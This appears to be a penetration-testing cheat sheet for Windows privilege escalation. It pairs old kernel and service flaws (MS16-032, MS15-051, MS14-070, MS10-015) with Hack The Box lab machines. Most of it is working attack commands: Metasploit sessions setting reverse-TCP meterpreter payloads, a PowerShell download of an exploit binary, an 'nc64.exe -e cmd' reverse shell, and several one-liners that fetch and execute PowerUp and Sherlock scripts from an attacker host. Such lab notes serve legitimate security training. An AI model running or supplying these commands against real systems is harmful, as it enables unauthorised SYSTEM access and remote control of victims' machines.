Windows

Cheatsheet

Windows Privilege Escalation Guide

Vulnerabilities for Privesc

MS16-032 (Secondary Logon to Address Elevation of Privilege)

Microsoft Security Bulletin MS16-032 - Important
docsmsft
MS16-032 Secondary Logon Handle Privilege Escalation
Rapid7
This module exploits the lack of sanitization of standard handles in Windows’ Secondary Logon Service. The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12 32 and 64 bit. This module will only work against those versions of Windows with Powershell 2.0 or later and systems with two or more CPU cores.
1
msf > use exploit/windows/local/ppr_flatten_rec
2
msf exploit(windows/local/ppr_flatten_rec) > set payload windows/meterpreter/reverse_tcp
3
msf exploit(windows/local/ppr_flatten_rec) > set lhost 10.10.14.21
4
lhost => 10.10.14.21
5
msf exploit(windows/local/ppr_flatten_rec) > set lport 1234
6
lport => 1234
7
msf exploit(windows/local/ppr_flatten_rec) > set session 2
8
session => 2
9
msf exploit(windows/local/ppr_flatten_rec) > run
Copied!
You can test it on Hack the box "Grandpa": - OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition - OS Version: 5.2.3790 Service Pack 2 Build 3790 - Hotfix(s): N/A

MS15-051 (Windows Kernel-Mode Drivers Could Allow Elevation of Privilege)

This security update resolves vulnerabilities in Microsoft Windows. The more severe of these vulnerabilities could allow elevation of privilege if an attacker logs on locally and runs arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. An attacker must have valid logon credentials and be able to log on locally to exploit this vulnerability. The vulnerability cannot be exploited remotely or by anonymous users.
Microsoft Security Bulletin MS15-051 - Important
docsmsft
windows-kernel-exploits/MS15-051 at master · SecWiki/windows-kernel-exploits
GitHub
1
powershell.exe -c (new-object System.Net.WebClient).DownloadFile('http://10.10.14.9:8000/ms15-051x64.exe', 'C:\inetpub\drupal-7.54\ms15-051x64.exe')
2
ms15-051x64.exe "nc64.exe -e cmd 10.10.14.9 1234"
Copied!
You can test it on Hack the box "Bastard": - OS Name: Microsoft Windows Server 2008 R2 Datacenter - OS Version: 6.1.7600 N/A Build 7600 - Hotfix(s): N/A

MS14-070 (TCP/IP Could Allow Elevation of Privilege)

Microsoft Security Bulletin MS14-070 - Important
docsmsft
MS14-070 Windows tcpip!SetAddrOptions NULL Pointer Dereference
Rapid7
A vulnerability within the Microsoft TCP/IP protocol driver tcpip.sys can allow a local attacker to trigger a NULL pointer dereference by using a specially crafted IOCTL. This flaw can be abused to elevate privileges to SYSTEM.
1
msf > use exploit/windows/local/ms14_070_tcpip_ioctl
2
msf exploit(windows/local/ms14_070_tcpip_ioctl) > set session 3
3
session => 2
4
msf exploit(windows/local/ms14_070_tcpip_ioctl) > run
Copied!
You can test it on Hack the box "Granny": - OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition - OS Version: 5.2.3790 Service Pack 2 Build 3790 - Hotfix(s): Q147222

MS10-015 (Windows Kernel Could Allow Elevation of Privilege)

Microsoft Security Bulletin MS10-015 - Important
docsmsft
Windows SYSTEM Escalation via KiTrap0D
Rapid7
This module will create a new session with SYSTEM privileges via the KiTrap0D exploit by Tavis Ormandy. If the session in use is already elevated then the exploit will not run. The module relies on kitrap0d.x86.dll, and is not supported on x64 editions of Windows.
1
msf > use exploit/windows/local/ms10_015_kitrap0d
2
msf exploit(windows/local/ms10_015_kitrap0d) > set payload windows/meterpreter/reverse_tcp
3
payload => windows/meterpreter/reverse_tcp
4
msf exploit(windows/local/ms10_015_kitrap0d) > set lhost 10.10.14.25
5
lhost => 10.10.14.25
6
msf exploit(windows/local/ms10_015_kitrap0d) > set lport 1234
7
lport => 1234
8
msf exploit(windows/local/ms10_015_kitrap0d) > set session 1
9
session => 1
10
msf exploit(windows/local/ms10_015_kitrap0d) > run
Copied!
You can test it on Hack the box "Devel": - OS Name: Microsoft Windows 7 Enterprise - OS Version: 6.1.7600 N/A Build 7600 - Hotfix(s): N/A

Tools

Windows Exploit Suggester

1
Copied!
GitHub - AonCyberLabs/Windows-Exploit-Suggester: This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.
GitHub

Local Exploit Suggester with MSF

1
use /post/multi/recon/local_exploit_suggester
2
msf post(multi/recon/local_exploit_suggester) > set session 2
3
session => 2
4
msf post(multi/recon/local_exploit_suggester) > run
Copied!

Sherlock.ps1 > Find-AllVulns

1
powershell.exe -c "iex ((new-object net.webclient).DownloadString('http://10.10.14.9:8000/Sherlock.ps1'))"
Copied!
GitHub - rasta-mouse/Sherlock: PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities.
GitHub

PowerSploit > PowerUp.ps1> Invoke-AllChecks

1
locate -i PowerUp.ps1
2
/usr/lib/python2.7/dist-packages/cme/data/PowerSploit/Privesc/PowerUp.ps1
3
4
powershell.exe -c "iex ((new-object net.webclient).DownloadString('http://10.10.14.9:8000/PowerUp.ps1'))"
Copied!

Mimikaz

Understanding Guide to Mimikatz - Hacking Articles
Hacking Articles
Last modified 1yr ago